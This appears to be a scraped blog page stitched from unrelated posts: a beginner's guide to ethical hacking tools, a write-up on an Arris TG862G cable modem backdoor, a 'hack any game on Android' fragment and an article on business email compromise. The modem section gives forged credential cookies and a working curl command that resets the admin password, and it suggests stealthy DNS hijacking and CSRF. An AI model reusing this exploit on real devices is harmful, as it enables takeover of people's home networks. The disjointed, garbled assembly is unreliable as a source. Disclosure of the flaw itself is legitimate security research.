sexta-feira, 1 de maio de 2020
Getting A Bit Of Everything In Guild Ball: The Union
domingo, 26 de abril de 2020
How To Start | How To Become An Ethical Hacker
- Have No Experience With Cybersecurity (Ethical Hacking)
- Have Limited Experience.
- Those That Just Can't Get A Break
- What is hacking?
There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.
- Skills required to become ethical hacker.
- Curosity anf exploration
- Operating System
- Fundamentals of Networking
More info
Top 10 Most Popular Ethical Hacking Tools (2019 Ranking)
Top 10 powerful Hacking Tools in 2019.
If hacking is performed to identify the potential threats to a computer or network then it will be an ethical hacking.
Ethical hacking is also called penetration testing, intrusion testing, and red teaming.
Hacking is the process of gaining access to a computer system with the intention of fraud, data stealing, and privacy invasion etc., by identifying its weaknesses.
Ethical Hackers:
A person who performs the hacking activities is called a hacker.
There are six types of hackers:
- The Ethical Hacker (White hat)
- Cracker
- Grey hat
- Script kiddies
- Hacktivist
- Phreaker
A security professional who uses his/her hacking skills for defensive purposes is called an ethical hacker. To strengthen the security, ethical hackers use their skills to find vulnerabilities, document them, and suggest the ways to rectify them.
Companies that provide online services or those which are connected to the internet, must perform penetration testing by ethical hackers. Penetration testing is another name of ethical hacking. It can be performed manually or through an automation tool.
Ethical hackers work as an information security expert. They try to break the security of a computer system, network, or applications. They identify the weak points and based on that, they give advice or suggestions to strengthen the security.
Programming languages that are used for hacking include PHP, SQL, Python, Ruby, Bash, Perl, C, C++, Java, VBScript, Visual Basic, C Sharp, JavaScript, and HTML.
Few Hacking Certifications include:
Let's Explore!!
#1) Nmap

Price: Free
Description:
Nmap is a security scanner, port scanner, as well as a network exploration tool. It is an open source software and is available for free.
It supports cross-platform. It can be used for network inventory, managing service upgrade schedules, and for monitoring host & service uptime. It can work for a single host as well as large networks. It provides binary packages for Linux, Windows, and Mac OS X.
Features:
- Nmap suite has:
- Data transfer, redirection, and debugging tool(Ncat),
- Scan results comparing utility(Ndiff),
- Packet generation and response analysis tool (Nping),
- GUI and Results viewer (Nping)
- Using raw IP packets it can determine:
- The available hosts on the network.
- Their services offered by these available hosts.
- Their OS.
- Packet filters they are using.
- And many other characteristics.
Best for: Nmap is best for scanning network. It is easy to use and fast as well.
Website: Nmap
******************
#2) Netsparker

******************
#3) Acunetix

Acunetix is a fully automated ethical hacking tool that detects and reports on over 4500 web application vulnerabilities including all variants of SQL Injection and XSS.
The Acunetix crawler fully supports HTML5 and JavaScript and Single-page applications, allowing auditing of complex, authenticated applications.
It bakes in advanced Vulnerability Management features right-into its core, prioritizing risks based on data through a single, consolidated view, and integrating the scanner's results into other tools and platforms.
=> Visit Acunetix Official Website
******************
#4) Metasploit

Price: Metasploit Framework is an open source tool and it can be downloaded for free. Metasploit Pro is a commercial product. Its free trial is available for 14 days. Contact the company to know more about its pricing details.
Description:
It is the software for penetration testing. Using Metasploit Framework, you can develop and execute exploit code against a remote machine. It supports cross-platform.
Features:
- It is useful for knowing about security vulnerabilities.
- Helps in penetration testing.
- Helps in IDS signature development.
- You can create security testing tools.
Best For Building anti-forensic and evasion tools.
Website: Metasploit
#5) Aircrack-Ng

Price: Free
Description:
Aircrack-ng provides different tools for evaluating Wi-Fi network security.
All are command line tools. For Wi-Fi security, it focuses on monitoring, attacking, testing, and cracking. It supports Linux, Windows, OS X, Free BSD, NetBSD, OpenBSD, Solaris, and eComStation 2.
Features:
- Aircrack-ng can focus on Replay attacks, de-authentication, fake access points, and others.
- It supports exporting data to text files.
- It can check Wi-Fi cards and driver capabilities.
- It can crack WEP keys and for that, it makes use of FMS attack, PTW attack, and dictionary attacks.
- It can crack WPA2-PSK and for that, it makes use of dictionary attacks.
Best For: Supports any wireless network interface controller.
Website: Aircrack-Ng
#6) Wireshark

Price: Free
Description:
Wireshark is a packet analyzer and can perform deep inspection of many protocols.
It supports cross-platform. It allows you to export the output to different file formats like XML, PostScript, CSV, and Plaintext. It provides the facility to apply coloring rules to packet list so that analysis will be easier and quicker. The above image will show the capturing of packets.
Features:
- It can decompress the gzip files on the fly.
- It can decrypt many protocols like IPsec, ISAKMP, and SSL/TLS etc.
- It can perform live capture and offline analysis.
- It allows you to browse the captured network data using GUI or TTY-mode TShark utility.
Best For: Analyzing data packets.
Website: Wireshark
#7) Ettercap

Price: Free.
Description:
Ettercap supports cross-platform. Using Ettercap's API, you can create custom plugins. Even with the proxy connection, it can do sniffing of HTTP SSL secured data.
Features:
- Sniffing of live connections.
- Content filtering.
- Active and passive dissection of many protocols.
- Network and host analysis.
Best For: It allows you to create custom plugins.
Website: Ettercap
#8) Maltego

Price: The Community version, Maltego CE is available for free. Price for Maltego Classic is $999. Price for Maltego XL is $1999. These two products are for the desktop. Price for the server products like CTAS, ITDS, and Comms starts at $40000, which includes training as well.
Description:
Maltego is a tool for link analysis and data mining. It supports Windows, Linux, and Mac OS.
For the discovery of data from open sources and visualizing the information in graphical format, it provides the library of transforms. It performs real-time data-mining and information gathering.
Features:
- Represents the data on node-based graph patterns.
- Maltego XL can work with large graphs.
- It will provide you the graphical picture, thereby telling you about the weak points and abnormalities of the network.
Best For: It can work with very large graphs.
Website: Maltego
#9) Nikto

Price: Free
Description:
Nikto is an open source tool for scanning the web server.
It scans the web server for dangerous files, outdated versions, and particular version related problems. It saves the report in a text file, XML, HTML, NBE, and CSV file formats. Nikto can be used on the system which supports basic Perl installation. It can be used on Windows, Mac, Linux, and UNIX systems.
Features:
- It can check web servers for over 6700 potentially dangerous files.
- It has full HTTP proxy support.
- Using Headers, favicons, and files, it can identify the installed software.
- It can scan the server for outdated server components.
Best For: As a Penetration Testing tool.
Website: Nikto
#10) Burp Suite

Price: It has three pricing plans. Community edition can be downloaded for free. Pricing for Enterprise edition starts at $3999 per year. Price of the Professional edition starts at $399 per user per year.
Description:
Burp Suite has a web vulnerability scanner and has advanced and essential manual tools.
It provides many features for web application security. It has three editions, community, enterprise, and professional. With community editions, it provides essential manual tools. With the paid versions it provides more features like Web vulnerabilities scanner.
Features:
- It allows you to schedule and repeats the scan.
- It scans for 100 generic vulnerabilities.
- It uses out-of-band techniques (OAST).
- It provides detailed custom advisory for the reported vulnerabilities.
- It provides CI Integration.
Best For: Security testing.
Website: Burp Suite
#11) John The Ripper

Price: Free
Description:
John the Ripper is a tool for password cracking. It can be used on Windows, DOS, and Open VMS. It is an open source tool. It is created for detecting weak UNIX passwords.
Features:
- John the Ripper can be used to test various encrypted passwords.
- It performs dictionary attacks.
- It provides various password crackers in one package.
- It provides a customizable cracker.
Best For: It is fast in password cracking.
Website: John the Ripper
#12) Angry IP Scanner

Price: Free
Description:
Angry IP Scanner is a tool for scanning the IP addresses and ports. It can scan both on local network and Internet. It supports Windows, Mac, and Linux operating systems.
Features:
- It can export the result in many formats.
- It is a command-line interface tool.
- It is extensible with many data fetchers.
Website: Angry IP Scanner
Conclusion
As explained here, Nmap is used for computer security and network management. It is good for scanning the network. Metasploit is also for security and is good for building anti-forensic and evasion tools.
Aircrack-Ng is a free packet sniffer & injector and supports cross-platform. Wireshark is a packet analyzer and is good in analyzing data packets. As per the reviews available online, people recommend using Nmap instead of Angry IP scanner as Angry IP Scanner comes with unwanted applications.
John the Ripper is fast in password cracking. Nikto is a good open source tool for penetration testing. Maltego presents the data in a graphical form and will give you information about weak points and abnormalities.
This was all about the ethical hacking and the top ethical hacking tools. Hope you will find this article to be much useful!!
@EVERYTHING NT
Related news
sábado, 25 de abril de 2020
Arris Cable Modem Backdoor - I'm A Technician, Trust Me.
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW
After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}And finally:
{"credential":"technician:"}Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(
That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.
Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:
That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:
Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OKWhat about setting a new value? Surely that will not work....
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:
This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.
The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this
Related links
How To Hack Any Game On Your Android Smartphone

How To Hack Any Game On Android 2018
Steps To Hack Any Game On Android
Using Game Guardian
Related word
Breaking Down Business Email Compromise
What is a Business Email Compromise and why should cyber security professionals care?
Author: Keith Roberts, Senior Information Security Analyst
The FBI categorizes business email compromise (BEC) scams into three specific brands. While there are certainly hybrid forms, for this article we are focusing on the big three. Today we're going to dive into the "Account Compromise" BEC attack.
Account compromise
Company A has an employee email account compromised. Fake invoices are sent to company B, which is in a business relationship with Company A. The invoices will fool all but the savviest of finance team members. Prevention should include process review from the finance team.
The "fake invoice" scam (otherwise known as Vendor Email Compromise)
Fraudsters research a target organization. They send the target organization an invoice requesting payment from a company that the target does business with. Though not as efficient as the next tactic, it is much easier to pull off
CEO fraud
Criminals spoof an organization's domain and send emails appearing to originate from the CEO to high risk employees (finance, HR, executives), usually asking for a "wire transfer," though this attack is not limited to only wire transfer requests.
The Four Phases of Account Compromise Attacks
Phase 1– Initial Compromise
I've seen many Account Compromise BEC attacks in the past five years through industry peers and personal experience. Some were very well crafted and were caught only by well-trained eyes, others poorly written and containing many clues to their illegitimacy – these unfortunately do succeed. Almost all these BEC attacks started with a simple landing page.
Figure 1: Spoofed 0365 Login Page
An employee at company A was phished with a credential harvesting email. The recipient entered their credentials and now the criminal has control of that email account. The preparation can take months while the fraudster gathers intelligence on the target using open source gathering from social media sites and online searching. This opening phase is arguably the most important in the hacker's attack – underpreparation comes with the risk of a failed operation.
This phish would have been one of two types:
- Specifically crafted with research into the targets company, colleagues and business partners of the victim.
- Opportunistic mass phish, where the attacker casts a wide net hoping for a bite.
Phase 2 of the Attack – Waiting
Now the hacker sits and waits, observing the email traffic coming in and out of the account. They may have set an auto forward rule into the victim's email – this way they can slip into an email thread without the victim knowing, collecting information such as:
- Invoices, payment slips
- Employee names and contact information
- Names of colleagues in the victim(s) department
- Payment cadence
- Email tone and punctuation between company representatives
The perpetrator is gathering intelligence and waiting for the perfect time to execute the next phase of the attack. The attacker needs to understand the victim organizations entire workflow. Payment schedules are noted here because if the fraudster send an invoice before one is due, that would draw unwanted attention to the attack. The goal here is to observe transactions, conversations, and exchanges taking place within that compromised email account. This is crucial for when the fake email is created to the point of being undetectable.
Phase 3 of the Attack – The Switch
The third phase will involve the criminal sending an email from company A's compromised email account to a finance employee at company B. If they're good at what they do, the fake invoice will be near perfect, with minor changes including address, bank account, routing number and phone number. The hacker could have been sitting on communications from company B if they were auto forwarded to his/her account. So, the subject line could read something like "URGENT: LATE PAYMENT" or "PAYMENT NOT RECEIVED" and finally "NOTICE OF BANK CHANGE". This tactic is intended for the recipient to elicit an emotional response.
Figure 2:Original Invoice on the Left – Altered Invoice on the Right
Phase 4 of the Attack – Financial Fraud
Urgency can leave the recipient in a panicked state and they don't always see the clear mistakes in the email body and on the invoice. This is where the company B employee makes a payment to the criminal's bank account. Though things did not add up, the proper verifications were not checked, and the payment was made. This can often leave both companies involved in the fraud in a financial and potentially legal bind, but more on that later.
















